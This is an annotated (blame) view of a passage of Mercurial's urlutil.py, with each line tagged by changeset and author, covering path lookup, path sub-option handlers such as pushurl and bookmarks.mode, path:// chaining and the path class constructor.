687 # Only fall back to default if no path was requested. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
688 if name is None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
689 if not default: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
690 default = () |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
691 elif not isinstance(default, (tuple, list)): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
692 default = (default,) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
693 for k in default: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
694 try: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
695 return self[k][0] |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
696 except KeyError: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
697 continue |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
698 return None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
699 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
700 # Most likely empty string. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
701 # This may need to raise in the future. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
702 if not name: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
703 return None |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
704 if name in self: |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
705 return self[name][0] |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
706 else: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
707 # Try to resolve as a local path or URI. |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
708 path = try_path(ui, name) |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
709 if path is None: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
710 raise error.RepoError(_(b'repository %s does not exist') % name) |
47027
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
711 return path.rawloc |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
712 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
713 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
714 _pathsuboptions = {} |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
715 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
716 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
717 def pathsuboption(option, attr): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
718 """Decorator used to declare a path sub-option. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
719 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
720 Arguments are the sub-option name and the attribute it should set on |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
721 ``path`` instances. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
722 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
723 The decorated function will receive as arguments a ``ui`` instance, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
724 ``path`` instance, and the string value of this option from the config. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
725 The function should return the value that will be set on the ``path`` |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
726 instance. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
727 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
728 This decorator can be used to perform additional verification of |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
729 sub-options and to change the type of sub-options. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
730 """ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
731 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
732 def register(func): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
733 _pathsuboptions[option] = (attr, func) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
734 return func |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
735 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
736 return register |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
737 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
738 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
739 @pathsuboption(b'pushurl', b'pushloc') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
740 def pushurlpathoption(ui, path, value): |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
741 u = url(value) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
742 # Actually require a URL. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
743 if not u.scheme: |
47276
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47273
diff
changeset
|
744 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') |
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47273
diff
changeset
|
745 msg %= (path.name, value) |
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47273
diff
changeset
|
746 ui.warn(msg) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
747 return None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
748 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
749 # Don't support the #foo syntax in the push URL to declare branch to |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
750 # push. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
751 if u.fragment: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
752 ui.warn( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
753 _( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
754 b'("#fragment" in paths.%s:pushurl not supported; ' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
755 b'ignoring)\n' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
756 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
757 % path.name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
758 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
759 u.fragment = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
760 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
761 return bytes(u) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
762 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
763 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
764 @pathsuboption(b'pushrev', b'pushrev') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
765 def pushrevpathoption(ui, path, value): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
766 return value |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
767 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
768 |
48242
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
769 SUPPORTED_BOOKMARKS_MODES = { |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
770 b'default', |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
771 b'mirror', |
48244
b56858d85a7b
bookmarks: add a `ignore` variant of the bookmark mode
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48242
diff
changeset
|
772 b'ignore', |
48242
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
773 } |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
774 |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
775 |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
776 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode') |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
777 def bookmarks_mode_option(ui, path, value): |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
778 if value not in SUPPORTED_BOOKMARKS_MODES: |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
779 path_name = path.name |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
780 if path_name is None: |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
781 # this is an "anonymous" path, config comes from the global one |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
782 path_name = b'*' |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
783 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n') |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
784 msg %= (path_name, value) |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
785 ui.warn(msg) |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
786 if value == b'default': |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
787 value = None |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
788 return value |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
789 |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48240
diff
changeset
|
790 |
47273
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
791 @pathsuboption(b'multi-urls', b'multi_urls') |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
792 def multiurls_pathoption(ui, path, value): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
793 res = stringutil.parsebool(value) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
794 if res is None: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
795 ui.warn( |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
796 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
797 ) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
798 res = False |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
799 return res |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
800 |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47272
diff
changeset
|
801 |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
802 def _chain_path(base_path, ui, paths): |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
803 """return the result of "path://" logic applied on a given path""" |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
804 new_paths = [] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
805 if base_path.url.scheme != b'path': |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
806 new_paths.append(base_path) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
807 else: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
808 assert base_path.url.path is None |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
809 sub_paths = paths.get(base_path.url.host) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
810 if sub_paths is None: |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
811 m = _(b'cannot use `%s`, "%s" is not a known path') |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
812 m %= (base_path.rawloc, base_path.url.host) |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
813 raise error.Abort(m) |
47187
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
814 for subpath in sub_paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
815 path = base_path.copy() |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
816 if subpath.raw_url.scheme == b'path': |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
817 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
818 m %= (path.rawloc, path.url.host) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
819 raise error.Abort(m) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
820 path.url = subpath.url |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
821 path.rawloc = subpath.rawloc |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
822 path.loc = subpath.loc |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
823 if path.branch is None: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
824 path.branch = subpath.branch |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
825 else: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
826 base = path.rawloc.rsplit(b'#', 1)[0] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
827 path.rawloc = b'%s#%s' % (base, path.branch) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
828 suboptions = subpath._all_sub_opts.copy() |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
829 suboptions.update(path._own_sub_opts) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
830 path._apply_suboptions(ui, suboptions) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
831 new_paths.append(path) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47186
diff
changeset
|
832 return new_paths |
47186
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
833 |
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47185
diff
changeset
|
834 |
48946
642e31cb55f0
py3: use class X: instead of class X(object):
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48913
diff
changeset
|
835 class path: |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
836 """Represents an individual path and its configuration.""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
837 |
48238
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
838 def __init__( |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
839 self, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
840 ui=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
841 name=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
842 rawloc=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
843 suboptions=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
844 validate_path=True, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
845 ): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
846 """Construct a path from its config options. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
847 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
848 ``ui`` is the ``ui`` instance the path is coming from. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
849 ``name`` is the symbolic name of the path. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
850 ``rawloc`` is the raw location, as defined in the config. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
851 ``pushloc`` is the raw locations pushes should be made to. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
852 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
853 If ``name`` is not defined, we require that the location be a) a local |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
854 filesystem path with a .hg directory or b) a URL. If not, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
855 ``ValueError`` is raised. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
856 """ |
47185
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
857 if ui is None: |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
858 # used in copy |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
859 assert name is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
860 assert rawloc is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
861 assert suboptions is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
862 return |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
863 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
864 if not rawloc: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
865 raise ValueError(b'rawloc must be defined') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
866 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
867 # Locations may define branches via syntax <base>#<branch>. |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
868 u = url(rawloc) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
869 branch = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
870 if u.fragment: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
871 branch = u.fragment |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
872 u.fragment = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
873 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
